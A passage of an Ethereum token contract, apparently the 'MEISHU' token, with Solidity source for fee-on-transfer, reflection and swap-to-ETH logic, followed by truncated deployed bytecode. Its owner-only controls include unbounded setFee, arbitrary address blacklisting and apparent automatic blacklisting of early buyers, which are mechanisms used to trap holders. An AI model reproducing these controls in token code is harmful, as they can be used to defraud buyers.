canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.mul(4).div(22)); _marketingAddress.transfer(amount.mul(18).div(22)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061306a565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134c7565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fca565b610869565b6040516102649190613491565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f91906134ac565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba91906136a9565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f77565b6108bd565b6040516102f79190613491565b60405180910390f35b34801561030c57600080fd5b50610315610996565b60405161032291906136a9565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d919061371e565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613476565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612edd565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130b3565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612edd565b610c3d565b60405161041e91906136a9565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e0565b610de1565b005b34801561047357600080fd5b5061047c610e80565b60405161048991906136a9565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613476565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df91906130b3565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b60405161050891906136a9565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134c7565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130e0565b610fab565b005b34801561057157600080fd5b5061058c6004803603810190610587919061310d565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fca565b611101565b6040516105c29190613491565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612edd565b61111f565b6040516105ff9190613491565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b506106466004803603810190610641919061300a565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a91906136a9565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f37565b611358565b6040516106a791906136a9565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130e0565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612edd565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613609565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a9c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139f5565b91505061079a565b5050565b60606040518060400160405280600681526020017f4d65697368750000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670ac875621e7a8000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f4a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5790613609565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4790613609565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612378565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90613609565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d90613609565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b90613609565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600681526020017f4d45495348550000000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103790613609565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d690613609565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123e6565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490613609565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a9c565b5b90506020020160208101906112e89190612edd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139f5565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b90613609565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a90613609565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613569565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613589565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180691906136a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613649565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134e9565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613629565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3190613509565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613549565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a906135a9565b60405180910390fd5b6002600854611b7291906137df565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137df565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613669565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123e6565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed8484848461266e565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134c7565b60405180910390fd5b506000838561224a91906138c0565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122ba60166122ac60048661269b90919063ffffffff16565b61271690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122e5573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612349601661233b60128661269b90919063ffffffff16565b61271690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612374573d6000803e3d6000fd5b5050565b60006006548211156123bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b690613529565b60405180910390fd5b60006123c9612760565b90506123de818461271690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561241e5761241d613acb565b5b60405190808252806020026020018201604052801561244c5781602001602082028036833780820191505090505b509050308160008151811061246457612463613a9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561250657600080fd5b505afa15801561251a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253e9190612f0a565b8160018151811061255257612551613a9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125b930601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161261d9594939291906136c4565b600060405180830381600087803b15801561263757600080fd5b505af115801561264b573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061267c5761267b61278b565b5b6126878484846127ce565b8061269557612694612999565b5b50505050565b6000808314156126ae5760009050612710565b600082846126bc9190613866565b90508284826126cb9190613835565b1461270b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612702906135e9565b60405180910390fd5b809150505b92915050565b600061275883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129ad565b905092915050565b600080600061276d612a10565b91509150612784818361271690919063ffffffff16565b9250505090565b6000600d5414801561279f57506000600e54145b156127a9576127cc565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127e087612a6f565b95509550955095509550955061283e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128d385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291f81612b7f565b6129298483612c3c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161298691906136a9565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b600080831182906129f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129eb91906134c7565b60405180910390fd5b5060008385612a039190613835565b9050809150509392505050565b600080600060065490506000670ac875621e7a80009050612a44670ac875621e7a800060065461271690919063ffffffff16565b821015612a6257600654670ac875621e7a8000935093505050612a6b565b81819350935050505b9091565b6000806000806000806000806000612a8c8a600d54600e54612c76565b9250925092506000612a9c612760565b90506000806000612aaf8e878787612d0c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b1983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612b3091906137df565b905083811015612b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6c906135c9565b60405180910390fd5b8091505092915050565b6000612b89612760565b90506000612ba0828461269b90919063ffffffff16565b9050612bf481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c5182600654612ad790919063ffffffff16565b600681905550612c6c81600754612b2190919063ffffffff16565b6007819055505050565b600080600080612ca26064612c94888a61269b90919063ffffffff16565b61271690919063ffffffff16565b90506000612ccc6064612cbe888b61269b90919063ffffffff16565b61271690919063ffffffff16565b90506000612cf582612ce7858c612ad790919063ffffffff16565b612ad790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d25858961269b90919063ffffffff16565b90506000612d3c868961269b90919063ffffffff16565b90506000612d53878961269b90919063ffffffff16565b90506000612d7c82612d6e8587612ad790919063ffffffff16565b612ad790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612da8612da38461375e565b613739565b90508083825260208201905082856020860282011115612dcb57612dca613b04565b5b60005b85811015612dfb5781612de18882612e05565b845260208401935060208301925050600181019050612dce565b5050509392505050565b600081359050612e1481613f04565b92915050565b600081519050612e2981613f04565b92915050565b60008083601f840112612e4557612e44613aff565b5b8235905067ffffffffffffffff811115612e6257612e61613afa565b5b602083019150836020820283011115612e7e57612e7d613b04565b5b9250929050565b600082601f830112612e9a57612e99613aff565b5b8135612eaa848260208601612d95565b91505092915050565b600081359050612ec281613f1b565b92915050565b600081359050612ed781613f32565b92915050565b600060208284031215612ef357612ef2613b0e565b5b6000612f0184828501612e05565b91505092915050565b600060208284031215612f2057612f1f613b0e565b5b6000612f2e84828501612e1a565b91505092915050565b60008060408385031215612f4e57612f4d613b0e565b5b6000612f5c85828601612e05565b9250506020612f6d85828601612e05565b9150509250929050565b600080600060608486031215612f9057612f8f613b0e565b5b6000612f9e86828701612e05565b9350506020612faf86828701612e05565b9250506040612fc086828701612ec8565b9150509250925092565b60008060408385031215612fe157612fe0613b0e565b5b6000612fef85828601612e05565b925050602061300085828601612ec8565b9150509250929050565b60008060006040848603121561302357613022613b0e565b5b600084013567ffffffffffffffff81111561304157613040613b09565b5b61304d86828701612e2f565b9350935050602061306086828701612eb3565b9150509250925092565b6000602082840312156130805761307f613b0e565b5b600082013567ffffffffffffffff81111561309e5761309d613b09565b5b6130aa84828501612e85565b91505092915050565b6000602082840312156130c9576130c8613b0e565b5b60006130d784828501612eb3565b91505092915050565b6000602082840312156130f6576130f5613b0e565b5b600061310484828501612ec8565b91505092915050565b6000806000806080858703121561312757613126613b0e565b5b600061313587828801612ec8565b945050602061314687828801612ec8565b935050604061315787828801612ec8565b925050606061316887828801612ec8565b91505092959194509250565b6000613180838361318c565b60208301905092915050565b613195816138f4565b82525050565b6131a4816138f4565b82525050565b60006131b58261379a565b6131bf81856137bd565b93506131ca8361378a565b8060005b838110156131fb5781516131e28882613174565b97506131ed836137b0565b9250506001810190506131ce565b5085935050505092915050565b61321181613906565b82525050565b61322081613949565b82525050565b61322f8161395b565b82525050565b6000613240826137a5565b61324a81856137ce565b935061325a818560208601613991565b61326381613b13565b840191505092915050565b600061327b6023836137ce565b915061328682613b24565b604082019050919050565b600061329e603f836137ce565b91506132a982613b73565b604082019050919050565b60006132c1602a836137ce565b91506132cc82613bc2565b604082019050919050565b60006132e4601c836137ce565b91506132ef82613c11565b602082019050919050565b60006133076026836137ce565b915061331282613c3a565b604082019050919050565b600061332a6022836137ce565b915061333582613c89565b604082019050919050565b600061334d6023836137ce565b915061335882613cd8565b604082019050919050565b6000613370601b836137ce565b915061337b82613d27565b602082019050919050565b60006133936021836137ce565b915061339e82613d50565b604082019050919050565b60006133b66020836137ce565b91506133c182613d9f565b602082019050919050565b60006133d96029836137ce565b91506133e482613dc8565b604082019050919050565b60006133fc6025836137ce565b915061340782613e17565b604082019050919050565b600061341f6023836137ce565b915061342a82613e66565b604082019050919050565b60006134426024836137ce565b915061344d82613eb5565b604082019050919050565b61346181613932565b82525050565b6134708161393c565b82525050565b600060208201905061348b600083018461319b565b92915050565b60006020820190506134a66000830184613208565b92915050565b60006020820190506134c16000830184613217565b92915050565b600060208201905081810360008301526134e18184613235565b905092915050565b600060208201905081810360008301526135028161326e565b9050919050565b60006020820190508181036000830152613522816